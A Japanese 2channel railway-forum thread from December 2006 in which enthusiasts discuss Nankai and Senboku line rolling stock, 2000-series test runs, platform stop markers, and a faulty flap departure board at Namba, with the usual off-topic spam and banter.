236 :鶚  ◆McS/TRY8cM :2006/12/10(日) 23:55:44 ID:hTBtjrT1
>>232
「幕」っつうか、いわゆるパタパタ なんか知らん、13:48発の急行林間田園都市行き発車後、
14:00発の快急極楽橋行きの「00」表示が一瞬出なくなり、以下連鎖的にパタパタが詰まるような感じになった
で、とりあえず全ての発車案内を無表示状態にして、上から順じ再表示という流れ
お陰で、13:50発の各停の発車案内が通常は表示されない発車時刻になっても消されないと言う事態にも遭遇

237 :名無し野電車区:2006/12/10(日) 23:55:56 ID:ugmOjVHX
>>224
wwwwwwwwwwwwww

238 :名無し野電車区:2006/12/10(日) 23:57:13 ID:RJIAIvHp
参謀

239 :名無し野電車区:2006/12/10(日) 23:58:21 ID:drWDy2CI
難波のアレも寿命か

240 :名無し野電車区:2006/12/10(日) 23:59:43 ID:aAUeqEgG
>>235
そうそれ

>>237
俺の言うLED

241 : ◆sxrGNKzbRg :2006/12/10(日) 23:59:59 ID:K3YwEOMc
約3ヶ月ぶりの酉age

242 :名無し野電車区:2006/12/11(月) 00:00:00 ID:gYW47uLt
さて

243 :名無し野電車区:2006/12/11(月) 00:00:00 ID:EneXD0sw
>>239
LED部分はそうかもしれんが、パタパタソラリーまでそうだったら・・・

244 :名無し野電車区:2006/12/11(月) 00:00:38 ID:UdOptq3n
あーギリギリ

245 :名無し野電車区:2006/12/11(月) 00:00:41 ID:bXYsjDw8
ミスった
重たいよorz

246 : ◆sxrGNKzbRg :2006/12/11(月) 00:00:51 ID:uZnh/atx
あれ?漏れだけ?
ブームは去ったの

247 :名無し野電車区:2006/12/11(月) 00:01:04 ID:gYW47uLt
復帰のおかげだな
おめ

248 :名無し野電車区:2006/12/11(月) 00:01:45 ID:61dyZF2T
まあまてお前ら
落ち着け

249 : ◆sxrGNKzbRg :2006/12/11(月) 00:02:12 ID:K3YwEOMc
>>247
かなり不安になったwww
サンクス

250 :名無し野電車区:2006/12/11(月) 00:02:39 ID:aAUeqEgG
●○*5●○*3●●○◎●○*7●*3○*7●○*2●◎◎CC◎BC○BB◎○◎○○BCB◎C◎○◎BB◎◎(27)
●C◎◎C◎B○◎◎◎B◎B◎◎B◎BC◎B○B(24) ●BC○BBDCBBC○B◎◎C◎◎BC(18)
>>240修正 LED→ソラリー

251 :名無し野電車区:2006/12/11(月) 00:03:15 ID:EneXD0sw
増えてない。
●○*5●○*3●●○◎●○*7●*3○*7●○*2●◎◎CC◎BC○BB◎○◎○○BCB◎C◎○◎BB◎◎(27)
●C◎◎C◎B○◎◎◎B◎B◎◎B◎BC◎B○B(24) ●BC○BBDCBBC○B◎◎C◎◎BC○(19)

252 :名無し野電車区:2006/12/11(月) 00:05:45 ID:bXYsjDw8
まあ機構が複雑だから寿命を迎えるのもおかしくないとは思うが、
そうなる前に液晶導入を意見箱に出しておくか。

253 :名無し野電車区:2006/12/11(月) 00:07:13 ID:61dyZF2T
ここに来て再度液晶の話が・・・

254 :名無し野電車区:2006/12/11(月) 00:09:38 ID:SLLtBP3e
早くしないとフルカラーLEDにされる

255 :名無し野電車区:2006/12/11(月) 00:12:08 ID:EneXD0sw
あせるなよ
今は営業時間外だぜ・・・!?

256 :名無し野電車区:2006/12/11(月) 00:16:43 ID:u9shnjGC
むしろアレが寿命なら堺のなんてどうなるんだ

257 :名無し野電車区:2006/12/11(月) 00:20:47 ID:EneXD0sw
>>256
さのうち抹消されるに決まっておる

258 :名無し野電車区:2006/12/11(月) 00:24:25 ID:9WCZqDP7
特急の座席指定・号車案内や高野線の分割併合案内に最適>液晶

259 :名無し野電車区:2006/12/11(月) 00:24:34 ID:OG8YG6vz
酉おめ

帰還おめ

260 :名無し野電車区:2006/12/11(月) 00:29:47 ID:oo4GPCB2
>>234
そそ、先の改正で既に橋本は増発もされた。
その分、林間田園都市発着は減った時間帯も出てしまった。

中長距離強化がベターな方法だから。
近距離輸送は旅客が多くてもいいことばかりでない。


難波の案内板は、カードでデータを読み込ます方式で、
月初から冬季ダイヤになっているので何か知れかしたかも。
状況を聞けば物理的トラブルじゃないかな。
あれだけ動き続けるだけに劣化も進行する。
無表示にするのは原点に合わせるだけでトラブルじゃない。

ところで、近接表示はあった方がいいか?
地下鉄で御馴染みの手前の駅まで来たなど表示するやつ。

261 :名無し野電車区:2006/12/11(月) 00:32:15 ID:EneXD0sw
>>258
しかもラピートやこうやの画像を流せる

262 :名無し野電車区:2006/12/11(月) 00:32:30 ID:oo4GPCB2
間違っていた。
難波駅のはカードで入れるタイプじゃなかった。
単なる駆動部のトラブルっぽい。


263 :名無し野電車区:2006/12/11(月) 00:32:49 ID:lqhaV6IO
中長距離・近距離とも増やさないと。気軽に電鉄を利用して貰える体制を。

264 :名無し野電車区:2006/12/11(月) 00:32:56 ID:EneXD0sw
>>261
>ところで、近接表示はあった方がいいか?
そりゃもちろん、遅れ表示モナー

265 :名無し野電車区:2006/12/11(月) 00:36:33 ID:EneXD0sw
おっと、レスアンカは>>260だな

266 :名無し野電車区:2006/12/11(月) 00:37:07 ID:OG8YG6vz
泉北にはあるよな>近接表示

おやすみ

267 :名無し野電車区:2006/12/11(月) 00:43:22 ID:YcTu92tl
おやすみ

268 :名無し野電車区:2006/12/11(月) 00:57:41 ID:eaWRfDtO
最近人事異動があったのかな?
漏れの知っている優しい助役さんを見かけなくなったようだけど…

269 :159:2006/12/11(月) 01:48:58 ID:36GXJohD
>>132
そういえば今さらですが,南海淡路ライン撤退ですって?


270 :名無し野電車区:2006/12/11(月) 06:17:04 ID:n0uNfrjs
おはよう

271 :名無し野電車区:2006/12/11(月) 07:01:17 ID:YcTu92tl
>>269
何を今更

おはよう

272 :名無し野電車区:2006/12/11(月) 08:23:53 ID:qxdzoJy8
おはよう馬鹿野郎ども

273 :名無し野電車区:2006/12/11(月) 12:42:01 ID:K7nV7vX4
高野線中百舌鳥以南で泉北のウテシの運転の列車を今日ミタゾ

274 :名無し野電車区:2006/12/11(月) 12:56:09 ID:JEMrh5De
泉北線に2000系?17メートル車が入線するかも…
詳しくは、泉北の駅の車掌用停車位置目標をよく見てください。

275 :名無し野電車区:2006/12/11(月) 13:45:23 ID:n0uNfrjs
それは光明池の回送用位置目標ではなくて?

276 :名無し野電車区:2006/12/11(月) 14:52:21 ID:0Pvn+JGx
泉北線各駅の車掌用停車位置確認の位置を見れば17メートルなのがわかる
新たに赤色の白抜だから探してみ

277 :名無し野電車区:2006/12/11(月) 16:10:49 ID:VjG7FcKm
13:30頃、住ノ江車庫で2000系の4連が試運転幕を出して止まってたよ。
15:30頃に通ったときは居なくなってた。


278 :名無し野電車区:2006/12/11(月) 17:59:11 ID:u9shnjGC
なんだ、11時頃に白鷺を通過した奴って試運転か

279 :名無し野電車区:2006/12/11(月) 18:01:51 ID:HQyaFtAG
その2000系は試運転の幕でいまさっき岸和田を通過した。 多分羽倉に行きそう

280 :名無し野電車区:2006/12/11(月) 18:03:43 ID:ve0x+5Gt
【JR東海に置ける21世紀以降の車両造りに対する熱意の高さと偉大さ】
日本の鉄道会社の中でも21世紀以降の車両の完成度の高さでは、東海だけが一
歩ずば抜けている。
21世紀に入り駄車が相次いで登場しているJR各社の中で唯一の秀作が東海ご自慢の
313系2600番台だ。
211系5000番台・211系6000番台・313系2600番台・373系
とどれをとっても世界でトップクラスに輝ける名車であるのはあまりに有名であろう。
知名度の高さも世界一。中でも特に313系2600番台は世界で史上最高傑作であるのは
のは言うまでもない。
他社の転クロやボックスシートを軽く凌駕するのはおろか、有料特急の グリーン車に備わ
れている豪華仕様のリクライニングシートにすら勝る世界最高と言っ ても過言ではない快
適性を誇っているバケットロングシート。
勿論デザインも性能もアコモも世界に通用する秀逸な仕上がり。
なによりの証拠として愛知環状鉄道が同車3000番台を基本にした
300系を生み出した事であろう。
313系2600番台に乗れば車両に対する東海の熱意や誠意やずば抜けたセンス
の高さにコストの使いどころの正しさ、偉大さの前に驚き、言葉を失い、
魅力に存分に惹かれることだろう。
ぜひ、これを見ている方々にも一度乗車する事をオススメしたい

281 :名無し野電車区:2006/12/11(月) 18:22:41 ID:n0uNfrjs
うおっ、マジ話なのか。確かに幕はあるが・・・本気かよ

282 :名無し野電車区:2006/12/11(月) 18:24:54 ID:5Dw/MwLI
>>278
12:25頃貝塚〜二色浜走行中の普通からで難波方面に向かっていくの2000系を見たぞ。
貝塚のホーム端で撮影してる奴がいたが・・・これだったんだな。

283 :名無し野電車区:2006/12/11(月) 19:08:39 ID:YcTu92tl
キタ━━(゚∀゚)━━!!と言うべきものなのか
本線北部や泉北にぶち込んだら運用に障害が増えるだけだと思うわけだが

284 :難波:2006/12/11(月) 19:18:37 ID:dhfPXWAp
あっと驚く泉北線大幅減便!


285 :名無し野電車区:2006/12/11(月) 19:21:16 ID:qxdzoJy8
ねーよ

286 :名無し野電車区:2006/12/11(月) 20:27:26 ID:gYW47uLt
おいおい、泉北にズームカーて

287 :名無し野電車区:2006/12/11(月) 20:35:37 ID:JEMrh5De
おまたせ写真うpします。
ttp://www.uploda.org/uporg612833.jpg.html
パスはメル枠

288 :名無し野電車区:2006/12/11(月) 21:01:52 ID:axZuzUDe
>>274
>>286
30000系、31000系の可能性は、ないのですか?

289 :名無し野電車区:2006/12/11(月) 21:03:17 ID:NYyMZVgP
>>288
車両が足りませんが何か

290 :名無し野電車区:2006/12/11(月) 21:05:45 ID:ddNqhsi3
>>73のようなコピペっぽいのが西鉄スレにも現れたんだがこいつ何者なの?
まとめサイト読んでもそのあたりのまでは載ってなかったし・・・。

291 :名無し野電車区:2006/12/11(月) 21:09:11 ID:SLLtBP3e
>>288
難しいだろう

>>290
なんとなく用語解説風に解説してやろう

一概には言えないものの、南海電鉄では近年製造の車両が同社ファンに人気があるようだが、
それに反応した特定人物があちこちに流布させているコピペ。
ちなみに痛い信者を装った単なる嫌がらせである。

いわゆる「E231系の座席」コピペからの文章表現のインスパイヤ、
無茶苦茶な改行、所々に見られるお粗末な日本語など、作成した人物の文章作成能力の低さを伺わせる。
なお、かなりのスレにコピペを行っているが、大概無視されている模様。

292 :名無し野電車区:2006/12/11(月) 21:11:00 ID:Oni2KvBu
>>287
普通に乙

>>291
なんとなく乙w

293 :名無し野電車区:2006/12/11(月) 21:16:17 ID:YcTu92tl
>>288
ならば特急券売機の類の準備もされなければならぬのではないだろうか

294 :名無し野電車区:2006/12/11(月) 21:22:33 ID:u9shnjGC
てか30000,31000もズームカーだろう
そういうこととは関係ないかも知れないが

295 :名無し野電車区:2006/12/11(月) 21:29:06 ID:rh6IwZWf
http://bbs1.airbbs.net/sr3_bbss.cgi?cat=1424nezuka
杉谷が大型免許をとったらしいwww

296 :名無し野電車区:2006/12/11(月) 22:01:02 ID:clYc2ZSM
さて、いい加減ウザいので、次スレから「酉」禁止のテンプレ入れるか。


297 :名無し野電車区:2006/12/11(月) 22:01:09 ID:TRJpf5cJ
制度改正するからっていう所以で?

298 :名無し野電車区:2006/12/11(月) 22:13:06 ID:TRJpf5cJ
>>297>>295へのレス

299 :名無し野電車区:2006/12/11(月) 22:15:52 ID:zeR5cxPb
だから何なのかと

300 :名無し野電車区:2006/12/11(月) 22:16:53 ID:YcTu92tl
300

301 :名無し野電車区:2006/12/11(月) 22:22:11 ID:rPPp2rz+
>>296
今更過ぎるので却下

302 :名無し野電車区:2006/12/11(月) 22:26:00 ID:n0uNfrjs
>>294
狭義のズームカーとは違うがな

303 :名無し野電車区:2006/12/11(月) 22:31:52 ID:Lq/pl7F5
               _,,.. -──‐- .、.._.
           ,. ‐''"´           ``'‐.、
          ,.‐´                 `‐.、
          /                          \.
       ,i´           /=ヽ             `:、
      /            (゚) (゚)                ヽ.さぁ、精子よ!入ってきなさい!!!
    ,i              )●(                i、
    .i                    ▽                i.
   .i                 ∪                l
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                 `` ‐-----‐ '"´




304 :名無し野電車区:2006/12/11(月) 22:33:49 ID:u9shnjGC
水間のほうも動きがあったようで

305 :名無し野電車区:2006/12/11(月) 22:47:36 ID:gYW47uLt
水鉄1000系12月16日デビュー

306 :名無し野電車区:2006/12/11(月) 22:52:57 ID:yW20hdmN
7000が良かったのに・・・

307 :名無し野電車区:2006/12/11(月) 22:58:38 ID:Y+prAAl2
>>274
ダイヤ改正もアナウンスされてないこの時期に…謎??
光明池の4両停目追加も改正の直前だった筈だし
時刻そのものは変化せずに運用だけが変わる??

ただ、駅によってはITVやその他諸々の都合で、後ろ(車掌側)の位置を統一して、
停目(運転士側)を車種によってずらしたほうがいい駅もあるんだけど、停目の追加は今のところ無いよね??
×位置で停止前提でマーキングされてる感じ。臨時か何かで限定的にZ車が入線するのだろうか?

308 :名無し野電車区:2006/12/11(月) 23:00:32 ID:arWyZoJs
2000て本線に乗り入れ出来ないはずだよね?改造した?

309 :名無し野電車区:2006/12/11(月) 23:01:20 ID:/ULRyZeW
2000系は泉佐野以南閉じ込めの運用?
もし以北にも出るなら和歌山市方面か空港急行のどちらかに集中させた方が良さそう。
高野線を見ていると、4扉車と2扉車が混在して混乱の要因になっているし。

実際のところ、泉北高速線に停車目印が付いたそうなので泉北高速線に入れるところか。
2000系を泉北高速に絡む運用に放り込んで高野線内の2000系の運用を最小限に減らすか。
高野山行き以外は4扉車に揃えたいと違うかな。
泉北準急は減るみたいなのでそれなりに時期を見計らっていたか。

310 :名無し野電車区:2006/12/11(月) 23:04:14 ID:SLLtBP3e
>>308
じゃあ何故羽倉崎に未改造の2000系がいるな

311 :名無し野電車区:2006/12/11(月) 23:05:06 ID:SLLtBP3e
いるな→いるのだ

312 :名無し野電車区:2006/12/11(月) 23:05:50 ID:arWyZoJs
んーと、陸送?甲種回送?

313 :名無し野電車区:2006/12/11(月) 23:06:49 ID:/ULRyZeW
泉北に流れる準急は高野線内の難波〜中百舌鳥を走るが、急行や各停との連絡もないく、
利用者層も違うので丁度いいのか。
2000系は支線や泉佐野以南に閉じ込めておくべきだが。

314 :名無し野電車区:2006/12/11(月) 23:10:38 ID:YcTu92tl
各停と無意味に連絡してる

315 :名無し野電車区:2006/12/11(月) 23:14:14 ID:tKJT0MCA
>>309
泉北線は中もずでメトロに乗り換える客が多いからね。

316 :名無し野電車区:2006/12/11(月) 23:20:51 ID:qxdzoJy8
>>312
って馬鹿!

317 :名無し野電車区:2006/12/11(月) 23:25:05 ID:rLsegYyN
泉ヶ丘上りホームで赤字に黄色文字の「8」を見ました。
現在の8両の印からおよそ1mほど中百舌鳥側にマークされていました。
疑問点
・8両のみの入線でしょうか。他に目新しいマークは見つかりませんでした。
(スピーカーは新しくなったようです…って関係ない…)
・全長で約24m短くなるので7両相当?ということは先頭の停止位置標識も
新設されるはずですよね。
(もちろん乗車位置目標も)
・また,ぱたぱたも何らかの変更が必要になるのではないでしょうか。
・中百舌鳥にマークはできてますか?

318 :名無し野電車区:2006/12/11(月) 23:25:49 ID:TvRFipT8
>>315
と言っても南海直通の半分なわけで・・・てかフランス被れ乙

319 :名無し野電車区:2006/12/11(月) 23:26:31 ID:0Pvn+JGx
ちなみに泉北にZが入るのは8両以上だから臨時的ではなさそう。停目はS車と同じ
朝ラッシュにZを使うのかもしれないね。

320 :名無し野電車区:2006/12/11(月) 23:28:44 ID:clYc2ZSM
メトロ=フランスしか浮かばないおバカ発見w

321 :名無し野電車区:2006/12/11(月) 23:30:59 ID:EneXD0sw
今うp画像みた。なんか臨時用ないし緊急用臭い

322 :名無し野電車区:2006/12/11(月) 23:35:57 ID:EneXD0sw
何だかなぁ
http://uploader.onpuch.co.uk/img-box/img20061211124133ac822.jpg

323 :名無し野電車区:2006/12/11(月) 23:37:49 ID:n0uNfrjs
おけいはんはもっと上部の色が濃いと思う

324 :名無し野電車区:2006/12/11(月) 23:38:18 ID:EneXD0sw
wyxe
http://www.agui.net/imglog/20/img-box/img20061211205333.jpg

325 :名無し野電車区:2006/12/11(月) 23:42:15 ID:u9shnjGC
>>313
中百舌鳥で各停と連絡、向こうを先行させ堺東で再接続。
改善すると言うのなら白紙改正に近いと思うが果たして。

326 :名無し野電車区:2006/12/11(月) 23:45:59 ID:oo4GPCB2
緊急用じゃないだろ。
20m車はそこそこあるからわざわざ17m車を入れるまでじゃない。
17m車が橋本以北のみを運行する列車は多数あるが、それらを減らすことを画策しているのかもね。
特急を除外すると、橋本を跨ぐ列車は平日8往復、休日4往復なのでそれら以外を置き換えるでしょうか。
(橋本駅を改良して、特急と快急以外は直通させない案も出ていて、ダイヤ改正ごとに直通列車は減ったし。)
南海の17m車と泉北高速の20m車を交換する形なら無理な相談でもなさそう。
サプライズとはこれかもね。


327 :名無し野電車区:2006/12/11(月) 23:52:19 ID:NYyMZVgP
中百舌鳥→南海
中もず→泉北
なかもず→市交

328 :名無し野電車区:2006/12/11(月) 23:54:23 ID:EneXD0sw
ところでこれどうすんのか
http://maryu.sakura.ne.jp/railway/nankai/senbokuline/senbokuline-04.htm

329 :317:2006/12/11(月) 23:55:43 ID:rLsegYyN
>>319
ということは,先頭の停車位置は6両の「×」ですね。
とすれば,後ろの8両停車位置のやや短めは納得できそうです。

330 :名無し野電車区:2006/12/11(月) 23:56:29 ID:rVwxrE2Q
また感染源が広がるのか・・・正直本末転倒な気もするが本気か?
まあ泉北も含めて切妻汚物ブラザーズの乗車機会は減るがな

331 :名無し野電車区:2006/12/11(月) 23:58:14 ID:OzH1mEop
>>325
2000年改正の時は、中百舌鳥で泉北準急の停車時間を長くとってたので
「再接続」パターンが多かったけど、
今はその「再接続」パターンは殆どないよ。

332 :名無し野電車区:2006/12/11(月) 23:58:29 ID:OG8YG6vz
7000系が消えると言うなら一向に構わん

333 :名無し野電車区:2006/12/11(月) 23:59:12 ID:SLLtBP3e
333

334 :名無し野電車区:2006/12/11(月) 23:59:28 ID:oo4GPCB2
泉北線はまた輸送力削減でつか。
予想以上に客が減ってるのは事実だろうけど。
すでに南海の車両による10連もなってるし。
高野線全般では回復傾向だからしゃーないですな。

335 :名無し野電車区:2006/12/12(火) 00:00:00 ID:IwczcAnK
そこで6334F/6335Fの本線配備というウルトラサプライズ

336 :名無し野電車区:2006/12/11(月) 23:59:59 ID:C1VDPBam


337 :名無し野電車区:2006/12/12(火) 00:00:01 ID:RiZdxMQ1
>>332
そっちにも少なからず問題ありなのではないのかこれは

338 :名無し野電車区:2006/12/12(火) 00:00:10 ID:oo4GPCB2
→10連もなくなっているし

339 :名無し野電車区:2006/12/12(火) 00:00:29 ID:EneXD0sw
また重量かかったか

340 :名無し野電車区:2006/12/12(火) 00:00:43 ID:gYW47uLt
俺残念みんなおめ

341 :名無し野電車区:2006/12/12(火) 00:01:00 ID:SLLtBP3e
また時間狂ったわけだが

342 : ◆sxrGNKzbRg :2006/12/12(火) 00:01:38 ID:uZnh/atx
立ち上がるのが遅かったorz
スマソ

343 :名無し野電車区:2006/12/12(火) 00:01:40 ID:C1VDPBam
重いなぁ

344 :名無し野電車区:2006/12/12(火) 00:02:06 ID:x7WHqNCb
>>335
ソレダ

345 :名無し野電車区:2006/12/12(火) 00:03:54 ID:+IaKSfBD
●○*5●○*3●●○◎●○*7●*3○*7●○*2●◎◎CC◎BC○BB◎○◎○○BCB◎C◎○◎BB◎◎(27)
●C◎◎C◎B○◎◎◎B◎B◎◎B◎BC◎B○B(24) ●BC○BBDCBBC○B◎◎C◎◎BC○○(20)
6300系転属・・・思いつかんかったな

346 :名無し野電車区:2006/12/12(火) 00:04:03 ID:EneXD0sw
>>338
→南海の車両による

347 :名無し野電車区:2006/12/12(火) 00:05:23 ID:n0uNfrjs
まあ、でも、改造の段階が2000系とは比べ物にならんし・・・
泉北用は元から言われていた本線・支線用とは違うのではないかと。

348 :名無し野電車区:2006/12/12(火) 00:07:37 ID:LTxXhklv
>>346
ちょっと待て・・・それは自演・・・日付が変わることによるID変化を予測しての誤算・・・

349 :名無し野電車区:2006/12/12(火) 00:08:16 ID:OzH1mEop
1000系ならびに泉北5000系or7000系は、
乗務員室と直後のドア間に座席があれば言う事ないんだいけどね。
朝混雑時の難波行きが減車で5000系8連になったりしたけど
堺東以北とか、先頭部分の混雑がどうしても激しい。

それはさておき
泉北高速の人に聞いたんだが
運輸側から増解結のフレキシブルさが買われていて、なかなか
3000系を運用から外せないんだとか。
できれば7000系は増解結の無いスジに使いたいと。

いろいろ事情はあるんだね。

350 :名無し野電車区:2006/12/12(火) 00:09:32 ID:RiZdxMQ1
>>348
アッー!

351 :名無し野電車区:2006/12/12(火) 00:14:20 ID:+IaKSfBD
>>349
それは単に自動増解結装置を使い慣れていないだけではないか。
これはたんなる憶測だが、泉7000系自体に編成パターンが少ないのが原因ではないか。

あと、乗務員室周りは機類ヲタやDQNの温床となっているので使う運転席であれば使いたくないだろう。

352 :名無し野電車区:2006/12/12(火) 00:14:47 ID:fdgDe2kx
次期車は南海と共通にするのがいいね。南海直営の方が安くなるしついでに

353 :名無し野電車区:2006/12/12(火) 00:17:11 ID:RiZdxMQ1
>>352
巣に引きこもっていてくれないかい?

354 :名無し野電車区:2006/12/12(火) 00:19:24 ID:2Zk4mUh0
バリアフリーもろくでもない鋼板剥離も目に見てとれる
イメージダウンにしかならんから泉北3000系はもう要らない、4連からでも廃車を進めねば

355 :名無し野電車区:2006/12/12(火) 00:24:25 ID:RiZdxMQ1
でも6連を増やしたほうがよくないかね、
まあ乗客が減ってるってんなら4+4を6で換えてやるのもありだが。

金剛コミュが時間合わせりゃ多少は増えるかもしれんがドル箱だしそこまでやるとも思えん。

356 :名無し野電車区:2006/12/12(火) 00:26:11 ID:blKtjaAH
酉おめ

泉北3000は久々に見たが我が線の7000系より痛々しい凸凹が・・・

357 :名無し野電車区:2006/12/12(火) 00:37:34 ID:dKMU7Yx7
>>351
朝の10連運用に、和泉中央で切り離した付属編成同士をドッキングさせて
光明池へ入庫させるのがあるんだけど、改正直後は7000系がこの運用に使われてたのに
改正後1か月ほどして7000系を入れなくなった。
やっぱり慣れとか以外の問題で、いろいろあったみたい。

>>354
結局いくら3000系を叩いたところで、運輸側が使い勝手がいいと言ってしまえば
なかなか廃車は進められないみたいだね。

車両部門は車両部門、運輸部門は運輸部門という具合で、あまり連携の無い
しかも他所から流れてきた人が殆どの寄り合い所帯だから(最近はマシにはなってる
みたいだけど)こういう事になってしまうのかもね。
まあ、訊いてるとここの車両叩きからは見えてこない事情はあるみたいよ。

358 :名無し野電車区:2006/12/12(火) 00:46:54 ID:RiZdxMQ1
どっちにしろ更新も非常に難しいし、最終的には運用側が従わざるを得ないと思うが

359 :名無し野電車区:2006/12/12(火) 00:47:26 ID:dKMU7Yx7
2000系の件については、
もし本当に入線させる気なら、まったく入線実績がいままでないので
試運転から始まって教習だの何だので結構日数がかかるので、来年に改正があるなら
今からホームにその準備が行なわれていてもおかしくないだろうとのこと。
ただ、過去の経緯からすると、了承するとは…??という感じみたいだけど。

360 :名無し野電車区:2006/12/12(火) 00:55:36 ID:x7WHqNCb
っていうか、現業が「古いほうがいい」って言うのは鉄道界では然程珍しいことではない。
お役所はそれの言うことを聞くのかも知れないけどナー。

兄の方は他の6000系列に比べる場合非常に使い勝手が悪いので期待通り先に潰されそうだが
(あとマスゴミに受けがいいだろう、他の6000系列の方が。
受けが悪いってんなら都市伝説の方も当てはまっちゃうけどまあそれは別問題)

361 :名無し野電車区:2006/12/12(火) 00:57:07 ID:dKMU7Yx7
>>358
7000系を造った時に、あんな変な凝った電車にしなければ今ごろ3000系はもっと
減らせてたというのがあるみたい。
当時は、泉北独自のイメージを確立したいというのもあって実運用をあまり顧みない状況で
先走ってしまったから。
結局はお金の問題もあって7000系も打ち止めになったけど。

噂されてる新車が、どこまで泉北の車両運用に準拠させられるかによるだろうね。
過去のように変に設計で先走るとまた、3000系は廃車できないわ、新しい電車は車庫で
昼寝してばかりだわという今の状況が繰り返されるだけになるかと。

362 :名無し野電車区:2006/12/12(火) 01:01:36 ID:RiZdxMQ1
変でも無いだろう。
変だって言うんなら是非とも自動貫通幌、いや前面スライドドアだけでも欲しいもんだ。
ま、川重なんかに頼むのが駄目なんだな、近車のがあれに関しては実績ある。

363 :名無し野電車区:2006/12/12(火) 01:08:19 ID:x7WHqNCb
独立したイメージなら5000系で完遂してるし、実運用を一番顧みてないのは同車だろ。
むしろあれは運用を楽にしようとしたものだぞ。アテが外れたのかもしれんが。

364 :名無し野電車区:2006/12/12(火) 01:09:21 ID:x7WHqNCb
おやすみ

365 :名無し野電車区:2006/12/12(火) 01:10:55 ID:dKMU7Yx7
>>362
変な電車というと語弊があるな。
「変に凝った電車」という意味で取って貰えればよろしいかと。

まあ5000系を非貫通8連固定で造ってしまったり、とかいう事をやらかしてるので
いくら車両そのものを誉めたり、叩いたりしても、あまり乗る側にとって
有益な方には回らない、と汲み取っていただければと思う。
車両そのものだけで考えれば、そりゃ7000系自体は高水準な電車なんだけどね。

路線特有の実情ってのがやっぱりあって、それに合わないもの造ってしまうと
結果的にはマイナス面が残ってしまうって事だね。

366 :名無し野電車区:2006/12/12(火) 01:15:35 ID:blKtjaAH
路線特有の実情より運輸部や会社の実情と言った方が・・・
てかつまり泉北には高尚な電車は扱えないって言ってるような・・・

おやすみ

367 :名無し野電車区:2006/12/12(火) 01:41:00 ID:W6ZKFsPy
重複誘導
【代アニの】南海電気鉄道スレッドNa90【二の舞】
http://hobby7.2ch.net/test/read.cgi/rail/1165581791/

368 :名無し野電車区:2006/12/12(火) 03:22:43 ID:hc5HGH8h
2000系の来年の動きは、休車分は本線南部と支線。
高野線で動いている分は、泉北線に進出。
大まかにそんなところか。
それに伴うダイヤ改正も大きなものになりそうな。
本線は、空港線乗り入れ列車の拡充で、本線通しは特急が残る程度で
本線南部はそれをサポートする区間列車が休車中の2000系を用いるところか。
高野線は、山線乗り入れ列車以外の2000系を排除して、
それで余った2000系を泉北で使わす気かと。
その一方で以前のように泉北高速の保有車両で泉北線と関係ない運用に就かす。
客の少ない区間なら2000系でも不都合も少ないな。
泉北線での2000系の実績はないから試運転はあるはず。非常に楽しみだ。
支線は言うまでもなく、本線南部や特に泉北線は少子高齢化で客が大きく減っているが
成長が期待できる重要線区が、難波−関西空港と難波−橋本なので当たり前の結果かも知れんな。
とりあえずデータイムのみさき公園行きの区急は消えそう。


369 :名無し野電車区:2006/12/12(火) 04:29:09 ID:LTxXhklv
何故散々議論してきたことをさも自分の意見のように長文で発表するのだろうか

370 :名無し野電車区:2006/12/12(火) 04:54:17 ID:c3gx96Xp
りんくうタウン駅始発まであと1時間・・・
泉佐野まで出ようにもこの季節はつらいもん。
始発終電を考えんかったらええとこなんよ。

ところで年末年始のフリー切符は買う予定の人は早めにね。
去年は売り切れで買えんかったよ。

371 :名無し野電車区:2006/12/12(火) 05:45:52 ID:4uXNXgSm
>>366
泉北には扱えないて事じゃなくて、泉北の車両運用の実態に合致した車両を製造できてないという事だろう。
ダイヤ編成とかの、路線固有の実態に合わせられていないと。5000系なんか特にそうだな。

路線固有の実態に合わせて高尚な車両を造れば問題ないが、それをせずにイメージやらメーカーの意向やらで
高尚さだけを求めてしまったわけで。

噂されてる新車は、どの程度までその路線の事情を考慮されてるかな?

372 :名無し野電車区:2006/12/12(火) 05:51:48 ID:LTxXhklv
路線固有の実態としては7000系何も問題のない車両として作成されたはずで、
運輸部が慣れた3000系のほうが運転しやすいって言ってるだけだろうよって

373 :名無し野電車区:2006/12/12(火) 06:29:12 ID:+IaKSfBD
おはよう

374 :名無し野電車区:2006/12/12(火) 07:11:04 ID:UkTe9YHB
おはようございます閣下

ドアチャイムの件がスルーされている気がいたします

375 :名無し野電車区:2006/12/12(火) 08:03:02 ID:LTxXhklv
ドアチャイムどうすんだら

376 :名無し野電車区:2006/12/12(火) 09:03:37 ID:jg9crqxE
さぁて
今日も試運転撮りに行くか。

377 :名無し野電車区:2006/12/12(火) 09:47:19 ID:Dt919bR5
今日の高野線試運転は下り11時のヤシがあるね

378 :名無し野電車区:2006/12/12(火) 11:24:10 ID:x7WHqNCb
2300系快急の二本後が2203F回送

379 :名無し野電車区:2006/12/12(火) 13:14:06 ID:g7LIRowl
今日は本線試運転は無かったようだ。

それはそうと、甕のサイト更新されてる。>>282が言ってる貝塚での撮り鉄ってのは甕のようだな

380 :名無し野電車区:2006/12/12(火) 19:43:28 ID:JHAJQ4jr
甕って何故試運転のダイヤ知ってるんだ?

381 :282:2006/12/12(火) 19:59:38 ID:BBxFTajj
>>379
あれが甕だったのか…
>>380
そういやそいつ、漏れが貝塚で普通待ってるときに来た列車(確か区急だった)の車掌と挨拶?を交わしてたぞ。(撮り鉄の横を車掌が過ぎたときにお互い手を挙げてた。その後も後方確認する車掌に手を降ってたような…)

だから関係者なのかもしれないな

382 :名無し野電車区:2006/12/12(火) 20:18:21 ID:IwczcAnK
>>378
そのまま廃(ry

383 :名無し野電車区:2006/12/12(火) 20:40:48 ID:x7WHqNCb
そりゃねーわ
まあ2230じゃないからどっちでもいいが

384 :名無し野電車区:2006/12/12(火) 20:51:42 ID:UkTe9YHB
差別だ

385 :名無し野電車区:2006/12/12(火) 20:59:30 ID:K6LoNkL4
中間運転台の解放は新型になるほどしてないのか?

386 :名無し野電車区:2006/12/12(火) 21:23:07 ID:TrE0CdBk
泉北の17メートル車の停車位置目標は近々追加されるはず。
一部の駅(下り)はZ車8両、10両の場合はS8の停車位置になる事になる。

泉北のウテシが高野線にしかも中もずより南を運転しているのは、気になるところだが…

387 :名無し野電車区:2006/12/12(火) 21:58:18 ID:iTS3jtfC
汚物3000乗り入れお断り
併結も出来ないし

388 :名無し野電車区:2006/12/12(火) 22:00:01 ID:LTxXhklv
>>386
車両より乗務員の互換性を考慮してんじゃね

389 :名無し野電車区:2006/12/12(火) 22:01:13 ID:dz7juJCx
>>386
運転士養成を南海に委託してるから必然的に中百舌鳥以遠で泉北乗務員がハンドル握ってるだけじゃないの?

